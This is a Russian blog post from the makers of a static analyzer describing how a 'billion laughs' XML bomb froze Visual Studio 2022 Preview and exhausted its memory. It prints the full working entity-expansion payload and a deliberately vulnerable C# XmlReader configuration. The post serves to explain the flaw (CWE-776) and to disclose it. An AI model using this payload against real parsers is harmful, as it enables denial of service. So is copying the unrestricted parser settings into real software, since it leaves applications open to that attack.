﻿# Как Visual Studio 2022 съела 100 Гб памяти и при чём здесь XML бомбы?

В апреле 2021 года Microsoft анонсировала новую версию своей IDE – Visual Studio 2022, попутно объявив, что она будет 64\-битной\. Сколько мы этого ждали — больше никаких ограничений по памяти в 4 Гб\! Однако, как оказалось, есть нюансы\.\.\.

![0865_VS2022_XMLBomb_ru/image1.png](https://import.viva64.com/docx/blog/0865_VS2022_XMLBomb_ru/image1.png)

Кстати, если вы пропустили, вот ссылка на [тот пост с анонсом](https://devblogs.microsoft.com/visualstudio/visual-studio-2022/)\.

Но вернёмся к нашему вопросу из заголовка\. Я воспроизвёл эту проблему на последней доступной на момент написания заметки версии Visual Studio 2022 Preview — 17\.0\.0 Preview 3\.1\.

Для воспроизведения достаточно:

* создать проект пустого решения \(шаблон Blank Solution\);
* добавить в него XML\-файл\.

После этого в созданный XML\-файл нужно попробовать скопировать следующий текст:

```cpp
<?xml version="1.0"?>
<!DOCTYPE lolz [
 <!ENTITY lol "lol">
 <!ELEMENT lolz (#PCDATA)>
 <!ENTITY lol1 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
 <!ENTITY lol2 "&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;">
 <!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
 <!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
 <!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">
 <!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">
 <!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;">
 <!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;">
 <!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">
 <!ENTITY lol10 "&lol9;&lol9;&lol9;&lol9;&lol9;&lol9;&lol9;&lol9;&lol9;&lol9;">
 <!ENTITY lol11 
   "&lol10;&lol10;&lol10;&lol10;&lol10;&lol10;&lol10;&lol10;&lol10;&lol10;">
 <!ENTITY lol12 
   "&lol11;&lol11;&lol11;&lol11;&lol11;&lol11;&lol11;&lol11;&lol11;&lol11;">
 <!ENTITY lol13 
   "&lol12;&lol12;&lol12;&lol12;&lol12;&lol12;&lol12;&lol12;&lol12;&lol12;">
 <!ENTITY lol14 
   "&lol13;&lol13;&lol13;&lol13;&lol13;&lol13;&lol13;&lol13;&lol13;&lol13;">
 <!ENTITY lol15 
   "&lol14;&lol14;&lol14;&lol14;&lol14;&lol14;&lol14;&lol14;&lol14;&lol14;">
]>
<lolz>&lol15;</lolz>
```

Теперь идём заваривать кофе, возвращаемся и наблюдаем за тем, как Visual Studio отжирает всё больше и больше ОЗУ\.

![0865_VS2022_XMLBomb_ru/image2.png](https://import.viva64.com/docx/blog/0865_VS2022_XMLBomb_ru/image2.png)

Могут возникнуть 2 вопроса:

1. Зачем делать какие\-то странные XML и добавлять их в проекты?
1. Что здесь вообще происходит?

Что ж, давайте разбираться\. Для этого нам нужно будет вспомнить, какие опасности может нести неаккуратная обработка XML\-файлов, а также узнать, как со всем этим связан статический анализатор PVS\-Studio\.

## SAST в PVS\-Studio

Мы продолжаем активно развивать PVS\-Studio как SAST решение\. Если говорить про C\# анализатор, то основной фокус по этому фронту – поддержка [OWASP Top 10 2017](https://pvs-studio.ru/ru/pvs-studio/sast/owasptopten/) \(последняя доступная на данный момент версия – с нетерпением ждём обновления\)\. К слову, если вы пропустили, не так давно мы добавили taint анализ, о чём можно почитать [здесь](https://pvs-studio.ru/ru/blog/posts/csharp/0831/)\.

Собственно, для тестирования работы анализатора я и создал \(точнее, попытался создать\) соответствующий синтетический проект\. Дело в том, что одна из категорий OWASP Top 10, над которой сейчас ведётся работа, – [A4:2017\-XML External Entities \(XXE\)](https://owasp.org/www-project-top-ten/2017/A4_2017-XML_External_Entities_(XXE))\. Она затрагивает уязвимость приложений к различным атакам посредством неправильной обработки XML\-файлов\. Что подразумевается под неправильной обработкой? Например, излишнее доверие к входным данным \(извечная проблема многих уязвимостей\) и отсутствие должных ограничений в парсерах XML\. 

В итоге, если файлы окажутся скомпрометированы, это может вылиться в разные неприятные последствия\. Здесь можно выделить 2 основные проблемы: раскрытие каких\-то данных и отказ в обслуживании\. Обе имеют соответствующие CWE:

* [CWE\-611: Improper Restriction of XML External Entity Reference](https://cwe.mitre.org/data/definitions/611.html)
* [CWE\-776: Improper Restriction of Recursive Entity References in DTDs \('XML Entity Expansion'\)](https://cwe.mitre.org/data/definitions/776.html)

CWE\-611 оставим на другой раз, сегодня нас интересует CWE\-776\.

## XML бомбы \(billion laughs attack\)

Я поясню только основную суть проблемы\. Если у вас есть желание изучить проблему глубже – топик легко гуглится, не обессудьте\.

Стандарт XML предусматривает использование [DTD](https://en.wikipedia.org/wiki/Document_type_definition) \(document type definition\)\. DTD даёт возможность использовать так называемые XML\-сущности\.

Синтаксис определения сущностей прост:

```cpp
<!ENTITY myEntity "Entity value">
```

Получить значение сущности в дальнейшем можно следующим образом:

```cpp
&myEntity;
```

Нюанс состоит в том, что сущности могут раскрываться не только в строки \(как в нашем случае — "Entity value"\), но и в последовательности других сущностей\. Например:

```cpp
<!ENTITY lol "lol">
<!ENTITY lol1 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
```

В итоге при раскрытии сущности 'lol1' мы получим строку следующего вида:

```cpp
lollollollollollollollollollol
```

Можно пойти дальше и определить сущность 'lol2', раскрыв её уже через 'lol1':

```cpp
<!ENTITY lol2 "&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;">
```

Тогда при раскрытии одной лишь сущности 'lol2' мы получим следующий выхлоп:

```cpp
lollollollollollollollollollollollollollollollollollollollollollollollol
lollollollollollollollollollollollollollollollollollollollollollollollol
lollollollollollollollollollollollollollollollollollollollollollollollol
lollollollollollollollollollollollollollollollollollollollollollollollol
lollollollol
```

Погрузимся на уровень ниже и определим сущность 'lol3'?

```cpp
<!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
```

Выхлоп при её раскрытии:

```cpp
lollollollollollollollollollollollollollollollollollollollollollollollol
lollollollollollollollollollollollollollollollollollollollollollollollol
lollollollollollollollollollollollollollollollollollollollollollollollol
lollollollollollollollollollollollollollollollollollollollollollollollol
lollollollollollollollollollollollollollollollollollollollollollollollol
lollollollollollollollollollollollollollollollollollollollollollollollol
lollollollollollollollollollollollollollollollollollollollollollollollol
lollollollollollollollollollollollollollollollollollollollollollollollol
lollollollollollollollollollollollollollollollollollollollollollollollol
lollollollollollollollollollollollollollollollollollollollollollollollol
lollollollollollollollollollollollollollollollollollollollollollollollol
lollollollollollollollollollollollollollollollollollollollollollollollol
lollollollollollollollollollollollollollollollollollollollollollollollol
lollollollollollollollollollollollollollollollollollollollollollollollol
lollollollollollollollollollollollollollollollollollollollollollollollol
lollollollollollollollollollollollollollollollollollollollollollollollol
lollollollollollollollollollollollollollollollollollollollollollollollol
....
```

Собственно, сгенерированный по такому принципу XML\-файл мы и использовали в начале статьи\. Думаю, теперь понятно, откуда название "billion laughs"\. Получается, что если XML\-парсер настроен неправильно \(обрабатывает DTD и не имеет ограничений на максимальный размер сущностей\), то при обработке подобной 'бомбы' ничего хорошего не случится\.

Если говорить про C\#, уязвимый код проще всего продемонстрировать на примере типа _XmlReader_:

```cpp
var pathToXmlBomb = @"D:\XMLBomb.xml";
XmlReaderSettings rs = new XmlReaderSettings()
{
  DtdProcessing = DtdProcessing.Parse,
  MaxCharactersFromEntities = 0
};

using var reader = XmlReader.Create(File.OpenRead(pathToXmlBomb), rs);
while (reader.Read())
{
  if (reader.NodeType == XmlNodeType.Text)
    Console.WriteLine(reader.Value);
}
```

Сконфигурировав экземпляр _XmlReader_ подобным образом, вы как бы говорите злоумышленнику этим кодом: "Давай, подорви меня\!"\.

Причины две:

* разрешена обработка DTD;
* снято ограничение на максимальное количество символов из сущностей, то есть разрастание файла никак не ограничено\.

По умолчанию, кстати, обработка DTD сущностей запрещена: свойство _DtdProcessing_ имеет значение _Prohibit_, а на максимальное количество символов из сущностей стоит ограничение \(начиная с \.NET Framework 4\.5\.2\)\. Так что в современном \.NET всё меньше возможностей прострелить себе ногу\. Хотя при неаккуратном конфигурировании парсеров это всё ещё возможно\.

## Возвращаясь к Visual Studio 2022

Похоже, что в Visual Studio 2022 при копировании нашей XML бомбы сработали как раз оба условия:

* запустилась обработка DTD;
* не стояло никаких ограничений, из\-за чего объём потребляемой памяти пробил потолок\.

Если посмотреть, что происходит в процессе в это время, можно найти подтверждение нашим предположениям\.

![0865_VS2022_XMLBomb_ru/image3.png](https://import.viva64.com/docx/blog/0865_VS2022_XMLBomb_ru/image3.png)

В списке потоков видно, что основной поток как раз обрабатывает XML\. К слову, из\-за этого повис весь GUI и IDE никак не реагировала на попытки потыкать её палочкой\.

Если посмотреть call stack потока VS Main, можно увидеть, что он как раз занят обработкой DTD \(исполняется метод _ParseDtd_\)\.

![0865_VS2022_XMLBomb_ru/image4.png](https://import.viva64.com/docx/blog/0865_VS2022_XMLBomb_ru/image4.png)

В ходе экспериментов у меня возник вопрос: а зачем Visual Studio вообще запускает процессинг DTD, почему просто не отображает XML как есть? Ответ пришёл в ходе экспериментов с 'XML\-бомбочкой' \(суть та же, но нагрузка поменьше\)\.

Похоже, всё дело в том, чтобы отображать в редакторе "на лету" возможные значения сущностей\.

![0865_VS2022_XMLBomb_ru/image5.png](https://import.viva64.com/docx/blog/0865_VS2022_XMLBomb_ru/image5.png)

Небольшие значения обрабатываются успешно, но разрастание XML приводит к проблемам\.

Конечно, такая проблема не могла обойтись без написания мной [баг\-репорта](https://developercommunity.visualstudio.com/t/Visual-Studio-2022-Preview-is-vulnurable/1521704)\.

## Заключение

Вот так неожиданным образом удалось посмотреть, как на практике могут выглядеть уязвимости к XML\-бомбам\. Самое интересное, что удалось пощупать это не на каком\-то абстрактном примере, а на вполне знакомом и популярном приложении\.

Мы планируем добавить поиск кода, уязвимого к проблемам обработки XML\-файлов, в PVS\-Studio 7\.15\. Если же интересно посмотреть, что анализатор умеет уже сейчас, предлагаю [загрузить](https://pvs-studio.ru/ru/pvs-studio/download/) его и попробовать на своих проектах\. ;\)

Как всегда, приглашаю подписываться на [мой Twitter](https://twitter.com/_SergVasiliev_), чтобы не пропустить ничего интересного\.